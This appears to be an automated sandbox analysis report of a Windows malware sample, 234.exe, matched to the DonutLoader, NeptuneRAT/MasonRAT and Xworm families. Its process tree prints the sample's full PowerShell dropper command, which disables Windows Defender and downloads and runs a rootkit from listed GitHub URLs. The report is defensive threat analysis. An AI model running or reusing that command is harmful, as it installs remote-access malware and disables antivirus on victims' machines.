Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    27/07/2026, 03:45

General

  • Target
    234.exe
  • Size 1.4MB
  • Sample260727-ebenlsgn81
  • SHA256 cb22ecf141895afa986c898edd2961d8ddbbd8f4515cd8bb48e36a93d582dd81
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

  • exe.dropper

    https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 2 IoCs
  • Detects DonutLoader 2 IoCs
  • Detects NeptuneRAT stealer 2 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3156
    • C:\Users\Admin\AppData\Local\Temp\234.exe
      "C:\Users\Admin\AppData\Local\Temp\234.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2112

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_2etkhtg3.txh.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2etkhtg3.txh.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2112-14-0x0000023A5C2D0000-0x0000023A5C492000-memory.dmp

        memory/2112-6-0x0000023A59BA0000-0x0000023A59BB0000-memory.dmp

        memory/2112-5-0x0000023A59BA0000-0x0000023A59BB0000-memory.dmp

        memory/2112-13-0x0000023A59B70000-0x0000023A59B92000-memory.dmp

        memory/2112-15-0x0000023A5C9D0000-0x0000023A5CEF8000-memory.dmp

        memory/3156-2-0x0000000006C20000-0x0000000006C30000-memory.dmp

        memory/3156-4-0x0000000006C20000-0x0000000006C30000-memory.dmp

        memory/3156-3-0x0000000006C20000-0x0000000006C30000-memory.dmp

        memory/3156-1-0x0000000004210000-0x0000000004222000-memory.dmp

        memory/3156-0-0x0000000002FD0000-0x0000000002FE5000-memory.dmp

        memory/3156-18-0x0000000006C20000-0x0000000006C30000-memory.dmp

        memory/3156-20-0x0000000006C20000-0x0000000006C30000-memory.dmp

        memory/3156-19-0x0000000006C20000-0x0000000006C30000-memory.dmp